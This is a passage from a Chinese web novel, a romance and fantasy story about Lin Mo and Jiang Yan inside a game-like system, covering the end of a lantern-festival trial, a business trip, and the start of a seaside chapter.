好像从空气中有所发现,愉快神情冷却下来。
他放下书包,拉开拉链,拿出一张试卷。
随后换上轻松表情,“我考试又拿了第一名。”
在厨房忙碌的女人盛出一盘菜,“小远真厉害。”
但她的语气却并不开心。
小马明远将那盘菜轻轻放到餐桌上,对另外房间的男人喊道:“吃饭了。”
男人走出房间,问小马明远,“今天你妈妈做了什么菜?”
“芹菜炒粉,花生米。”小马明远回答,语气轻松。
桌子上只有两碗米饭,小马明远和男人各拿一碗开始吃饭。
女人则是在厨房一个人单独吃饭。
待到吃饭结束,小马明远抢先,端起碗筷和盘子来到厨房,语气依旧轻松:“妈妈,我帮你洗碗。”
--
审判之眼下,马明远无力跌坐,他将头埋在膝间,声音抽抽噎噎、断断续续,“我知道不对,但我不知道该怎样做。”
难过到了极点,却再次将矛头调转对准自己:“我太脆弱了。”
“不是你的责任。”不远处的声音温柔又坚定,如同从天而降一把保护伞。
“什么?”马明远抬起头轻声向林茉询问,他并非不懂,只是不敢相信。
“这不是你的责任,”林茉再次坚定重复,“哄别人开心,不是你的责任。”
“是吗?”
--
审判之眼中,图像再次变换,出现一位卷发老人,她坐在马明远对面:“爸爸妈妈离婚,你要在中间好好劝,如果他们不听你就哭。”
这个马明远长大了一些,似乎已经成为一名初中生,他沉默点头。
卷发老人继续说:“听到没有?你两边好好劝一劝,劝不动你就哭,一直哭,你哭他们就没办法。”
马明远“嗯”了一声。
“完整的家庭,孩子才阳光,不然以后没人会愿意嫁给你,人家好好的,凭什么找你一个父母离异的?”
马明远没有回答,静静坐着,对面老人依旧机关枪一般持续输出。
--
“不是,”马明远小声开口,“不是我的责任。”
机关枪停止了输出,卷发老人形象淡去,不同年龄的马明远集体浮现。
“不是你的责任。”他们轻声重复,肯定了马明远的犹疑,语气柔软,一如马明远曾面对父母的语气。
“不需要优秀,你本来就值得被爱。”
“你不用成为更好的自己,只要成为自己。”
“我们在这,永远都在。”
否定之锁悄然消失,马明远呆呆望向空中,与曾经的自己对视。
苏绣兔从马明远身边跑开,它没有回到林茉身旁,而是跑向另一边,那边都是刚刚被林茉愤怒砸烂的完美废墟。
只
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能看到小身体在废墟之间一跳一跳,随后停下来抖了抖身体,身上敏感之心的金粉纷纷扬扬,它们先是下落,轻飘飘停留在完美废墟上,让那些破碎残片看起来有种别样美感。
随后金粉升起,带着那些破碎残片,齐齐升向空中,审判之眼包容地望着这些碎片,似乎就在等待它们,轻轻眨了一下眼,这次没有任何刺耳声音。
残片散落于天空,金粉点缀其间,如同一片唯美的白日银河。
审判之眼再次垂下目光去看马明远,如同一汪包容万物的清水,所有曾经的马明远脸庞均流露出温柔美好的笑,它逐渐变淡,直至消失于白日银河。
审判之眼消失之处,一颗歪歪扭扭的黄色的星星灯悄然浮现。
“那是,”马明远望着星星灯喃喃自语,“那是我小时候做的星星灯,送给爸爸的。”
眼泪再次不受控制流淌出来。
“但是爸爸说我扎得歪歪扭扭,太粗糙了。”
“从那以后,我不敢再给爸爸送礼物,只会送给妈妈,希望我的粗糙的小东西能让她开心一点。”
银河静默。
马明远停止诉说,声音温和坚定,“现在我知道了,这不是我的责任,他们感情不好不是我的错。”
他望着天空,仿佛在对曾经的自己说:“那盏星星灯虽然不完美,但依旧是值得珍藏的宝贝,很棒。”
大片强光自马明远所在之处亮起,几乎同时,江砚下意识将林茉掩在身后。
虚空中,小镇马明远坠落高台时的恐怖的盒子灯从空中落下,白光将其覆盖,轮廓逐渐变淡融合。
【恭喜您通关“千笼灯宴”】
【正在进行奖励结算】
【恭喜获得基础奖励:生命值+500】
【当前生命值520】
原来之前又造得生命值即将见底。
【恭喜完成千笼灯宴,获得奖励:心愿云朵灯一只;获得奖励:灯影麒麟一只;获得物品:灯笼制作工具包;获得物品:免打扰灯牌。】
【奖励已放入背包】
【社交节能模式已解锁】
【天赋:多睡一小时已重新激活。请注意,该天赋为一次性使用,下次使用后将再次失效】
她看到江砚投来疑惑目光,似乎在问什么时候多睡了一小时?
第一晚睡醒就用了。
在失去意识前,林茉似乎看到一只小小胖乎乎的的幼崽,从白光中向他们扑来。
--
林茉迷迷糊糊醒来,缓了缓才意识到她躺在自己房间的床上。
她们一起在江砚的书房进入系统,那么回来时,也应该回到书房,那她是如何回到房间的?
但来不及仔细思考,一阵强烈的饥饿感迅速袭来,冲上大脑代办事项第一名:吃饭吃饭饭吃饭吃饭。
她迅速起床梳洗,推开门走下楼梯,路过江砚房间时发现房门关闭,不知是没醒,还是人已经不在房间。
楼下阿姨听到动静出来招呼:“小姐,您终于醒了。”
林茉“嗯”了一声,“阿姨,我有点饿了,还有吃的吗?”
阿姨笑着回答:“有,先生早就吩咐好了,给您准备了吃的,小姐先坐,我去热热就好。”
先生?
林茉反应过来,“他醒了吗?”
“什么醒了,”阿姨的声音从厨房传来,“小姐,你是糊涂了吧,先生一早上班去了呀,他说你累了需要休息,叫我不要打搅你,等你什么时候睡醒在吃饭。”
???
累了……需要休息。
是这样没错,确实很累。但是一旦联想到在很累之前和江砚一起在灯光昏暗的书房的沙发上,还在讨论什么倒数仪式,就觉得这两个字别有深意。
叮——
收到一条新消息。
林茉点开消息,是江砚发来的:醒了?
林茉:嗯,等吃饭
江砚:
睡得怎么样?
还累吗?
...
林茉盯着屏幕上的三个字,越看越奇怪。
于是简单回复:好多了。
江砚:吃完饭可以吃点水果继续休息。
或者附近转转。
林茉没有回复,说的好像她是小孩子一样。
说到小孩子……
她突然想起在离开花灯副本的最后一刻,好像有一只胖胖的小东西扑了过来,
她集中意念查看系统,果然——
苏绣兔隔壁格子里多了一只正在睡觉的小东西,名字叫:灯影麒麟崽。
19. 出差
林茉轻轻戳了戳格子,麒麟崽没有醒,身上鳞片翕动开合,静谧可爱。
它会长大吗?
叮——
江砚发来消息:
-收拾一下,明天跟我去出差。
?
林茉在内心翻了个白眼,好好商量或许还能聊,她懒懒地在沙发上转了个方向靠着,回应两个字:
-不去
脑海中蓦然浮现出白光亮起时,江砚下意识护住自己时的身影。
下午的阳光斜射进客厅,整个房间都是暖橙色的。
林茉反而觉得一切过于顺利,虽然她屡次违背系统指令导致意外丛生,但每次意外也都成功化解,反倒是如果她认同系统、听从系统才会危险,因为那样她也会和晓涵、马明远一样被困于其中,被不断强化的情绪催动得越来越不像自己。
可一般人都会选择听从系统指令,好像系统规则就是为她这样的性格而设计的。
江砚为何从一开始就由着她任性妄为呢?他知道些什么?那次相遇真的只是巧合吗?
按照江砚的说法,系统属于他的公司、属于他。
江砚提前知道系统这样吗?他是故意隐瞒了什么?为什么之前晓晗说要小心他。
这些问题林茉很想当面一次问个清楚,但她也知道这是徒劳,无论江砚给出什么回答,她依旧会保持怀疑。
那么——
江砚会害他吗?
这两次遇到危险,江砚反而是保护者的角色,自己应该是安全的。
林茉又想到江砚的朱雀纹身,那枚纹身之前增添了荆棘叶子,不知道这次没有使用纹身,没有使用时光倒流,纹身还有没有变化。
想到这里,她开始输入:
-明天什么时候走?去哪里?
在他的消息还未发出时,聊天界面显示江砚又发了一条消息:
-姐姐,明天陪我一起出差。
……
?
谁教你这样讲话?
--
路程不近,一路上江砚几乎都在处理公务,害怕林茉无聊,买了很多吃的带给她。
但其实林茉并不会无聊,她不害怕无事可做,也不认为无所事事做难以忍受,而且她也并非无事可做。
她看了一会儿风景,然后打开系统格子查看麒麟崽。
不知道这只小幼崽睡够了没有。
没有。
它还在睡,连苏绣兔似乎也累坏了,不愿出来。
林茉伸出手指戳的戳胖乎乎的小幼崽,小幼崽似乎很享受这种轻柔的触摸,团团的身子轻轻动了一下,发出满足的哼哼声。
正在一旁专心看报告的江砚:?
“什么声音?”江砚以一种惊讶、不可置信的目光看着林茉,“你?”
……
什么?
“你有看到我们多了一只灯影麒麟崽吗?”
江砚皱了皱眉,似乎在消化这个冗长的名字,“没有。”
林茉想到苏绣兔也是跑到现实中后江砚才能在系统中看到,所以麒麟崽应该也是如此,要等到他来到现实中,江砚才会在自己的系统格子里看到他。
其余奖励他们都是同步拥有,所以这些小宠物是专门奖励给她的吗?
林茉向江砚解释获得一只灯影麒麟崽,刚刚他听到的哼哼就来自于此,是幼崽在舒服地撒娇。
“嗯,让它先养着吧。”江砚随口交代。
林茉没有回答,窗外风景簌簌而过,自己究竟有没有在为江砚工作?江砚与他签订合约、每月付给他工资真的只是购买他的自由和闲暇吗?
算了,先不想了。
拿起面前的蔬果汁悠闲喝了几口,想得少、烦恼少。
--
到达酒店已接近深夜,前台礼貌向他们确认,原本有预订两个房间。
“要不,”林茉说,“我们住一间吧?”
江砚看下林茉,目光平静,眼底带着点玩味笑意,“你想跟我住一间?”
林茉回视江砚,“交流方便些。”
深蓝色的漂亮眼睛,一眨一眨,如同海浪在沙滩上一涌一涌的。
“好,”江砚说,随后对前台人员说,“帮我换成双卧套房。”
--
电梯里传来淡淡植物香味,浓度很淡,但给人的感觉却是馥郁。
“你喷了香水。”江砚肯定的语气陈述。
“嗯。”
林茉看着电梯镜子里面并排站着的两个人,回答得有点心不在焉。
他们不约而同都穿了大衣。
“怎么想起喷香水?”江砚问。
他记得林茉消费欲很低,除了偶尔会想要吃得丰富一些之外,几乎不会主动去买东西,也很少添新衣服。
“昨天晚上无聊出去转了转。”
江砚内心一惊。
她昨天出去了?自己为什么没有收到位置变化通知?
若有所思的目光凝在林茉左耳的核雕耳钉上,她发现了?
应该不会。
如果发现了,林茉不会是这个反应。
而且这个东西,如果不是砸开,根本不会发现里面的东西。
--
“你想住里面还是外面?”江砚问。
“里面吧。”林茉回答。
这样就可以不时经过江砚的房间。
自从认识江砚,生活好像丰富精彩很多,即使是在外面住酒店,也比她原来的家舒适宽敞。
可越是这样就越让人怀疑,江砚到底是在图什么呢?
--
“今天辛苦了。”江砚说。
“想吃什么?”
“随便吃个面吧。”林茉坐在江砚房间里的沙发上,头向后仰着靠在沙发靠背上,长长的头发铺散开来。
她今天穿了一件深蓝色大衣,和眼睛很配,和微微波浪的头发也很配,今天没有扎头发,头发微卷的弧度如同细碎波浪,她放松躺在沙发上的样子,如同一湾柔软的海水。
“好,我叫人送来。”
让人想靠一靠,想近一近。
--
“这么多吃的?”
“你不是喜欢吃小吃吗?看到有就点了一些。”
还点了安神茶。
好像自己的喜好和厌恶江砚已经了解很多,这种被人了解的感觉很奇妙,好像自己的一部分和另外一个人相融。
林茉打开电视,挑挑拣拣播了个剧边吃边看,江砚吃的很少,只有一碗牛排沙拉,对着电脑在皱眉。
“我看电视会影响你吗?”
“不会,”江砚没有抬头,“你
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看吧。”
茉莉核雕定位功能正常,此刻代表林茉的小红点正和自己的位置重叠,有节奏地闪烁。打开历史记录,也能够正常且连续地显示林茉的活动轨迹,只有告警功能失效,这是什么故障呢?
不过倒是不着急修复,因为林茉每天的活动都很简单,大部分时候都很配合地呆在身边。
林茉一边吃一边专注看着电视画面,好像她此刻什么也不担心,什么也没有想,干净从容。
江砚手指一动,把代表林茉的小红点修改成了一朵茉莉花的样子。
身世调查依旧是没有进展。
江砚随手打开电脑角落里的一个文件夹,启动任务,一个游戏界面安静出现在屏幕上,他调出后端程序,果然,绣楼和花灯部分代码有所改动。
所以,净化程序生效了。
但江砚却没有笑,他默默地看了林茉一会儿,再开口声音柔软,“明天早点起床,跟我去办事,然后我带你去见一个人。”
“见谁?”林茉转过头问江砚,手上拿着一根薯条。
房间没有开主灯,只有电视光亮和江砚那边一盏暖黄的落地灯,透过这样的灯光,林茉转头一瞬间眼睛里好像有星星,明亮、充满希望。
江砚轻轻地笑,好像知道她会这样问,“去了你就知道了。”
“好吧,明天几点起?”
她这样很好,好像很多事情他都不会在意、不会计较。
很——配合。
“七点。”
话音刚落,一道亮光直奔江砚而来,拖着长长的火星四溅的尾巴,如同一枚流星直直扑过来。
?
什么东西??
对上一双圆溜溜湿漉漉的眼睛。
胖胖的身体,头上有两只圆润的小角,四只粗壮的小爪在江砚桌面上蹦蹦跳跳。
不等两人有所反应,小麒麟崽开始追着自己的七彩灯穗尾巴转圈,如同一只精力旺盛的小狗,一边追一边噗噗冒火星。
江砚:……
林茉:……
江砚无语地再次打开电脑,试图查看究竟哪行指令搞出来这么一个精力旺盛的小东西,没有设置这种程序吧。
转了一会儿小麒麟崽终于消耗掉了过盛的精力,喝哧喝哧地停下来,把江砚沙拉碗里剩的东西吃了个精光。
开始用头拱江砚手臂,头顶圆圆钝钝的角上挂着一封信。
【上元佳节,诚邀赏灯,盼贵客至,盼暖春来】
--
“我昨天梦到马明远。”林茉刚刚洗漱完毕,额头的碎发沾了水,湿漉漉的。
江砚眼神有些奇怪,“你也梦到了?”
当晚他们都做了一个奇异的美梦,梦里佳节翩然而至,花灯铺满街市,灯影流转,一夜鱼龙。
马明远笑呵呵地站上高台,随着盒子灯一层层脱落,八仙挟着多彩水墨翩然而至,最后千叶莲花顶盖缓缓展开,将整个上元节的气氛推向高潮,人们欢呼欢笑。
“千门万户曈曈日,总把新桃换旧符。”
马明月笑着站在台上大喊,“祝我们所有人春风得意!”
不出所料,他如愿以偿获得第一名。
“所以,”林茉说,“昨晚的邀请函是这个意思?”
江砚却是有点烦躁,系统可以操控梦境?
20. 心不在焉
“你要和我一起上去,还是在车里等我?”车停稳后江砚没有立刻下车,偏头问林茉,“帮你找一家饮品店,边喝东西边等?”
“嗯,我去喝点东西。”
“别喝奶茶了,点杯纯茶给你吧。”
林茉跟在江砚身后走进饮品店,“好啊。”
江砚满意地从饮品店离开,林茉这点真的让他很满意,她有时很有想法,甚至敢于冒生命危险,大部分时候却又很顺从,对很多事情不会计较,对安排很少提出异议。
饮品店玻璃门映出自己的高挑身材,也映出身后在座位上目送他的林茉,倒影和距离抹去很多细节,但江砚还是能清晰看到那双深海一般的眼睛。
让人眷恋,甚至某一瞬间让他产生了少不更事的不管不顾,想转身走向那片深海。
--
“你怎么在这儿?”江砚从会客室出来就看到林茉,一个人坐在公司前厅沙发上。
林茉却答非所问,从沙发上站起来懒懒抱怨:“等了好久。”
“无聊了?”江砚产生了片刻沉溺,沉溺于那双让他产生倦鸟归巢般冲动的深蓝眼眸,语气柔和。
身后的我做伙伴和工作人员互相面面相觑,这位是?江总这是?
恋爱了?
今天爆炸新闻!!等不及回去八卦了!
--
江砚的工作直到天黑才结束,林茉有点百无聊赖,非要把自己带在身边,每次见别人之前都要花些心思安顿自己。
好像自己是个小宠物,林茉不喜欢这种感觉,不过现在也懒得计较这些。
搞好关系才好行动。
“累了没有?”上车后江砚偏头问林茉,“现在带你去见那个人。”
“没有,是你比较累。”
江砚的确有点累,明明有定位,而且林茉也不是会任性乱跑的人,可就是不想让她自由。
--
“这是?!”
“马明远?”
林茉看着迎面走来的微胖男生,与系统里给她沏过一杯热茶之人别无二致,她不自觉看向江砚,想得到一个确认。
这时,这双深蓝眼里只有自己,他独享这漂亮的让人沉溺的眼睛。
“嗯,他现在是这家公司新签的头部主播。”
“新签?头部?”
林茉联想起在系统中马明远对他们说过:如果上元夺魁,就能成为官方的制灯人,收入稳定增加,简直就是他目前状况的翻版。
“你好啊——”林茉向马明远打招呼,语气中有点老熟人般的热络。
“江总好,林小姐好。”马明远却客气地向两人问好,礼貌握手。
?
马明远不认识他们?
江砚明白林茉的疑问,向她点了点头。
简单寒暄后,他们坐在一旁小沙发观看马明远直播。
直播间空位被工作人员、机器、商品填满,沙发很小,衣袖相贴,气息模糊了边界。
据说马明远现在是人气很高的手工博主,风格独特。
直播时讲话和现实中有同样的拘谨,音量不大,话也不多,大部分时间都专注于手工,精选的背景音乐缓慢流淌,他会在间隙自然穿插解读和简单商品介绍。
搭配手工制作,营造出独一份的氛围,专注而积极,静谧而安全。
墙壁大屏滚动着实时互动,林茉看到一条留言,她说马明远的直播能让心安静下来,抛开顾虑专注当下。
林茉后知后觉地发现,刚刚自己也在很认真观看直播,回过神才发现自己和江砚坐得太近了,一旦察觉,江砚的气息便不可忽视地侵入/进来,再也无法专心观看直播。
下播后马明远面对江砚有点不知所措,不知大名鼎鼎的江总突然来找他所为何事,公司那边也说的模棱两可。
江砚主动开口,“有点事情影响和你谈,出去吃点东西边吃边说?”
马明远神色意外,但很爽快答应下来。
他好像比在系统里面更加主动了。
“你的直播间人气很高哦。”林茉笑着恭喜。
公司已经提前安排好接待地点,是一家不算特别高档但很有特色的本地餐厅。
“谢谢,”马明远坐在车里,看着窗外的夜景,情不自禁感慨,“这段时间像做梦一样。”
“怎么?”江砚问。
“我好像突然就好起来了。”马明远笑着说,笑脸在夜色中选择像个憨憨的小孩子。
他其实很年轻,看起来也就二十岁出头。
“不知道为什么,看到你们我感觉很亲切,就像我们之前认识一样。”大家在包厢落座,这次是马明远主动开口。
随后对着江砚递过来的点餐牌疯狂摆手,“我不挑食的,江总您点。”
林茉半开玩笑,“说不定真的在哪里遇到过。”
马明远笑得坦诚,他摇了摇头,“怎么可能遇到过江总,之前我就是个透明人。”
“刚刚,你说突然就好起来了?”林茉问。
江砚先点了几道菜,将平板递给林茉,林茉看了一眼,对已经点的几道菜都很有食欲,随便翻了翻,又将餐牌递给马明远,问他还要不要补充。
这次马明远接了过去,“我可以再点一盘炒饭吗?刚下播太饿了。”
还真是个小孩子,很可爱。
林茉笑,“当然可以。”
马明远接过之前的话题,“其实我之前很长一段时间状态都特别不好。”
他说自己之前做过很久很久的手工直播,那时他会模仿其他主播,尽量让自己活泼,和观众互动,但效果很不好,几乎没什么人看,导致他很长一段时间都处于高强度的压抑焦虑之中。
他也想过要不要做别的,但那段时间就是怎样都碰壁。
每天沉浸在暗无天日的深渊中,几乎无法直播,甚至无法正常生活,都不知道自己每天做了什么,浑浑噩噩却很累,每一刻都觉得自己无法再坚持下去,甚至真的想到过结束/自己。
林茉与江砚默默对视:你可是真的结束过自己。
林茉故作镇定移开目光,最近怎么总是对视。
但在那样的深渊之中,渐渐地他好像也听到一些不一样的声音,来自心底的声音,告诉他不必强迫自己外向合群,他有自己的特点。
像树根、像种子、像苔藓、甚至像毫无规律的七彩猫爪……
“其实我也不太记得具体经历了什么,总之,后来我慢慢地又可以面对镜头,又恢复了正常直播。”
有一次他突然灵感显现,连续直播七天制作一盏非遗盒子灯,就
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是这个系列让他忽然积攒大量人气,盒子灯直播点燃的那天,他冲上了榜首。
江砚给林茉的杯子添满了热茶,今天她好像一直在喝茶。
于是低声问林茉,目光却是微微向下落在茉莉耳钉上,“你想不想喝点别的?”
林茉摇头。
终于进入正题,其实很简单。
江砚对马明远说:“我们公司最近有两个新产品,很适合你的直播间,你如果合适,我们可以先谈谈。”
随后将一个平板递给马明远。
林茉原本对江砚的生意并不感兴趣,夹菜时随意瞟了一眼,惊讶地发现上面居然是他之前提到过的心流绣架和苏绣疗愈盒。
马明远看得很认真,再抬头时眼睛无比明亮,语气诚恳,“江总,我很感兴趣,非常感谢您能选择我。”
--
“你觉不觉得,”走进酒店宽敞舒适的大堂,林茉终于消化了现实中也存在马明远的事实,“系统也有好的一面。”
随后又意有所指地补充了一句,“它的初衷本来就是好的。”
电梯镜面再次映照出一高一低两个人影,轮廓融合于暗金色的金属表面。
“嗯,”江砚回应,他听出了林茉的弦外之音,“系统最初的开发者不是我们,公司买下来后再开发时出了问题。”
林茉有些意外,还以为他会装作听不出委婉提问,避而不答。
--
“你干什么?!”
江砚洗完澡后出来,赫然发现林茉坐在沙发上在看电视,他不自觉皱眉,“不是说要睡觉了吗?”
林茉冲江砚笑笑,融化掉扑面而来的脾气,拖着慵懒嗓音,“睡不着嘛。”
……
怎么出一趟差好像换了一个人。
“你自己的房间不是也有电视吗?”江砚语气软下来。
林茉向后靠着,眼里淡淡睡意和不谙世事的天真懒散,“沙发舒服。”
……
江砚一边擦头发一边在沙发上坐下,“什么剧这么好看?”
沐浴液香气和未干水汽笼罩了沙发这个小小空间,把它变得潮湿,不明亮的灯光又为它染上一层暧昧。
林茉眨眨眼,因为心不在焉,吐字有些模糊,“电影。”
她刚刚看到江砚手臂的纹身,还是最开始的那一小片荆棘叶子没有变化。
但视线却被江砚裸露的手臂吸引,房间里暖气很足,足得让人脸颊微烫,想靠近那一点潮湿的水气。
“你,”林茉说,“你睡觉吧,我回去了。”
--
回到房间,林茉从包里掏出一个小小物件,是分别前马明远悄悄送给她的。
一盏迷你版敏感之心造型的小夜灯。
林茉按下开关,夜灯亮起,在墙壁上投出几个字:小心001。
她再次看到江砚互助自己的样子,那种下意识的动作绝对来不及思考或作假,如果一个人愿意用性命保护另一个人,那么他究竟危险在哪里呢?
--
江砚躺在床上,房间一片漆黑,与林茉房间相连的门缝处也没有一丝光亮透出。
他不自觉抚摸着手臂,那里有不易觉察的一点/凸起,是一枚隐形贴,掩盖着这次从系统回来后新生出的一小枝荆棘。
21. 月下潮生(南音)
起床后,窗外灰蒙蒙,一片混沌,昨天还是晴天,怎么突然阴天了?
按照江砚的计划,今天上午会跟着他继续见客户,下午返程,林茉观察了一段时间,得出的结论是:老板也不好做。
不过江砚本人倒是乐在其中。
“早啊。”
林茉从房间出来,江砚已经叫了早餐到房间,一壶咖啡,一杯牛奶,还有几盘点心,一碗面,上面飘着煮得翠绿的蔬菜叶片,旁边摆放了几颗手剥虾仁。
这是林茉很喜欢的口味,清淡,可以吃出食材本味。
她坐下吃饭,和江砚随意地聊着天,“今天突然阴天,会下雨吗?”
“应该不会。”其实来之前他提前了解过天气,今天不仅不应该下雨,应该还是晴天才对。
吃饭间,林茉视线落在江砚握着咖啡杯的手指上,修长匀称,肤色健康,与干净洁白的陶瓷咖啡杯很搭、很养眼。
……
她又想到昨晚看到江砚的手臂,肌肉线条匀称得恰到好处,很想用手戳一戳。
“看什么呢?”江砚察觉到林茉的视线。
“看外面呢,吃完了,走吧。”
--
推开门,一阵风裹挟着潮湿水气扑面而来。
??
“这……?”
海浪拍打,灰白的泡沫出现又消失,风中有淡淡的咸腥味道。
海边?
林茉不可置信地回头,她们不是刚从酒店出来的吗?
没错,酒店大楼依旧稳稳地立在身后,只是门前的马路、街边建筑全部消失,被海水取而代之。
不是幻觉,酒店被搬到了海面上,几根粗大的立柱深入海底,形成架空层,将建筑与海水分隔开,脚下的马路变成岩石板栈道。
一轮巨大的上弦月悬在海面之上。
“在系统里?”尽管已经习惯了系统胡来,但它不按常理出牌的程度依旧超出想象,上次还有预告,这次竟一言不发直接把他们拉了进来。
“应该是。”江砚回答的风轻云淡,心里却是十分无语。
他昨晚调整了系统设置,将他们这座酒店和房间写入了系统,有人一起住套房的感觉很好。
系统倒是效率很高,勤勤恳恳,立刻把他们拉了进来。
每次改动代码都要出点幺蛾子。
环顾四周,这里是一座神奇的海边村落,之所以说神奇,是这座村子里所有房屋皆是同款吊脚岩石屋,装饰贝壳装饰反射着月光。
房屋之间由窄窄的岩石板栈道连接,很像身处某座景区。
呼呼海风吹过耳畔,卷来潮湿的空气和若有若无的长声吟唱。
吟唱?
哪来的声音?
“你听到了吗?”林茉问。
“听到了,”江砚轻轻碰了碰林茉肩膀,“去找找。”
【欢迎回来,新篇章“月下潮生”已开启。】
其实根本不需要找,稍微一转头便看到海面上有一位女子,坐在一块漂浮于海面的平台上,她身穿红衣,被海风吹得衣袂翻飞,吟唱便来自于此。
除她之外,围绕平台而建的房屋中,有四座屋顶各坐有一位演奏者。
海面女子抬起双手,将手中东西轻轻碰撞,打响清脆的节拍。
屋顶传来第一声乐音——来自一位横抱琵琶演奏的男士。
海面女子再次吟唱,其余屋顶的演奏者也加入进来,海风中传来绵延哀婉的乐音。
他们驻足认真听了许久,但海面女子的唱词难以分辨,似乎是某种方言,甚至连一个字也没有分辨出来。
就算是方言也不至于一个字都听不出吧。
演奏持续了许久,不时有人开门出来查看,好像这是一场为全村进行的夜场演出。
虽听不懂歌词,但从吟唱节奏、和伴奏音乐依然能清晰接收到一种很古老的感觉,是什么仪式吗?
“啊~~咿~~”
海面女子的唱法将每一个字都拉得很长很长,节奏很慢,像是流连忘返,舍不得什么东西似的。
人声渐渐减弱,屋顶伴奏也缓缓停止,海面女子再次轻轻拍打手中的拍版,之后一片寂静,只有海浪一遍遍的拍打声和永不止歇的风声。
海面女子将拍板轻轻放置于身旁凸起之处,抬头望了望月光,纵身一跃,跳进了海里。
???
!!!
怎么越来越极端了?
什么铺垫都没有,刚来就这样惨烈吗??!!
江砚突然拉住林茉手腕,似在安抚,下一秒林茉知道了原因,一具白骨在海面无处可归地飘荡。
……
这是在弄什么?这是什么腐蚀性的海水吗?还是水下有什么东西会吃人。
林茉想到过去某些活人祭祀的传说。
“去找人问问?”
他们挑了方才演奏琵琶那一家,沿着架在海上的石板路走去,石板薄而坚硬,颜色大多是青黑色,偶有淡黄色纹路,显得这里更加阴沉了。
一位30岁左右的男士打开门,衣着是与整个村子一脉相承的深色。
林茉开口:“你好,我想问——”
“:!$%^%#/-???”
?
林茉睁大了眼睛看向江砚,以确认自己听觉没有问题。
江砚又问了一遍,得到的依旧是一串叽里呱啦、半个字也听不懂的回答。
……
这、
该不会整个村子都是这样无法直接交流吧。
他们又去了方才三弦和二弦演奏者的住处,得到的依旧是一串难以破解的回答。
系统也缄默不语,除了他们刚进来时懒洋洋的一句欢迎外,没有半点声响,仿佛被禁言。
他们不抱希望地前往最后一位吹洞箫者的住处,这次是一位女性,依旧30岁上下,身穿简便布衣。
这次林茉有了经验,她没有直接讲话,而是面带笑容,比了个友好的手势。
果然起了作用,洞箫女士也回以礼貌微笑,并请让开门口位置,请他们进屋去坐。
但也就止步于此,接下来他们没有得到任何有效信息,双方互相比划半天,各自都不懂对方的表达,只好先离开。
“这到底是哪里的方言?”
“我们要怎样和他们交流?”
海风吹起林茉的长发,将她的眉眼描摹得异常清晰深邃。
江砚的目光在她脸上流连了一会儿,“先到其他地方再转转吧。”
“有什么好转的,还不是一样莫名其妙。”林茉吐槽。
江砚帮林茉立起衣领,“去海上那边看看。”
他总觉得林茉有点不太对劲,她可是能在一片漆黑的未知中说出“正好适合睡觉”的人,为什么这次任务刚开始就有点不耐烦了。
漂浮石板是一整块黑青色的薄石板,汹涌的海水让它摇摇晃晃,好像下一秒就会碎裂。
“像个海上漂浮戏台,”林茉说,“在中间演出大家都能看到。”
平整的石板表面有一处凸起的石头,上面放着跳海女士刚刚用过的拍板。
林茉拿起拍板查看,很像平时常见的用来打节奏的竹板,但手中这副拍板更加细长,只有两片,以一根细绳穿在一起。
林茉学着刚刚跳海女士的样子,轻轻敲了一下,拍板发出碰撞声,比竹板稍微沉稳一些。
远处的白骨遇到礁石,逐渐停止了飘荡。
“江砚,”林茉蹲不稳,干脆坐下,拿着拍板抬头看向在另一边查看的江砚,眼波闪烁,“你会唱歌吗?我给你打节奏。”
她的背后是一片灰濛濛的大海,显得她很瘦,有些落寞,
江砚看着林茉,“心态不错,还有心情唱歌。”
林茉似乎笑了笑,声音轻得像是能被海风吹散,“要抓紧时间啊。”
“什么?”江砚听得清楚,但一时以为自己听错了——难得从林茉口中听到“抓紧时间”这样的词。
林茉转过头望向波涛滚滚的海面,月光被海浪瓜分得支离破碎,“到了...
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...可就......听了。”
她的声音也像已经破碎的月光,轻得几乎难以分辨,“什么?”
“嗯?”林茉眼神诧异,“你说什么?”
音量正常,带着她一贯的懒散随意。
“你不记得了吗?”江砚内心一惊。
“记得什么?”
...
“你是说,我被系统控制了?”林茉若有所思,从口袋里掏出发绳笼住头发,“应该不会吧。”
系统不是控制江砚的么?
她想到刚刚自己说的“来不及”之类的话,又看向放在石头上的拍板,“会不会是被刚刚那位——附身了?”
江砚皱眉,“你先别再碰它。”
他不知道系统是怎样变成如今的样子,但如果敢越过他的许可操控林茉——
在林茉视线不及之处,阴狠如冲上沙滩的海浪,汹涌地占据了江砚的眼睛。
这里除了跳海女子遗留下的拍板,背后还有一个架子上面挂着一张渔网,被海风吹得簌簌抖动。
“这里为什么挂着一张渔网?这里是戏台呀,装饰?”
很难相信这么一块石板还需要装饰,而且这渔网也不好看。
渔网有些破烂,许多连接处已经断裂,之后又被人用粗糙的绳结连接起来。
“这绳结,”江砚说,“会不会和结绳记事有关?”
林茉伸出手想要去触摸渔网。
江砚眼疾手快地在林茉手指接触到渔网之前抢先握住,“先别碰这里的东西。”
海风寒凉,但江砚的手是温热的。
“没事吧,”林茉笑了笑,“如果我真的能解读出来什么也很好啊,对出去有帮助。”
这里灰蒙蒙的又很冷,实在是让人不想多留。
“你想变成他们那样?”江砚问,好像有一些生气。
“怎么会,”林茉笑得轻松,“系统没这本事。”
“走吧,我们去其他地方再转一转。”
顶着大风走了一圈也只看到一些散落在沙滩上已经死去的贝壳,和其他几张同样破碎又被连接起来的渔网。
林茉打了个哈欠,大概是被风吹得头疼,在这里比在其他地方更加容易困倦。
“累了吗?”江砚问。
“走吧,先回去休息。”
在一堆清灰色的石板屋边缘,他们的玻璃酒店显得格格不入。
按照常理,他们也应该住在石板屋才对,林茉望着酒店大楼喃喃自语,“为什么系统这次把酒店搬了进来?”
玻璃门在身后安静合拢,酒店前台笑得礼貌,同他们第一天来的时候一样。
“您好,已经帮您换了套房,祝您入住愉快。”
……
江砚有点想打人,他确实在将酒店写入系统时强调了双卧套,但有必要重复这句话吗?
他生硬解释,“可能系统复制了我们现实中在酒店的某些片段。”
的确,他们得到了和之前一模一样的餐品。
复制……
江砚莫名想到自己洗澡出来,林茉坐在外面看电视的画面。
好在系统能力有限。
酒店像一座安全屋,隔绝了窗外的海风和阴冷,拉上窗帘,这里依旧是暖黄色的静谧空间,住宿条件改善不是一点半点。
为何系统突然变得体贴了?
难道它还在不断更新中吗?如果还在更新,那么是谁在更新?
林茉看向江砚,下一秒却被江砚剥橘子的手抢占了注意力,不知从何时开始,这双手好像特别吸引她。
视线向上,他又看到江砚的手臂,再向上,喉结。
停!
然而事实并不配合,江砚递来剥好的橘子,石破天惊地开口:“今晚在我这边睡。”
“现在在系统里,我不放心。”
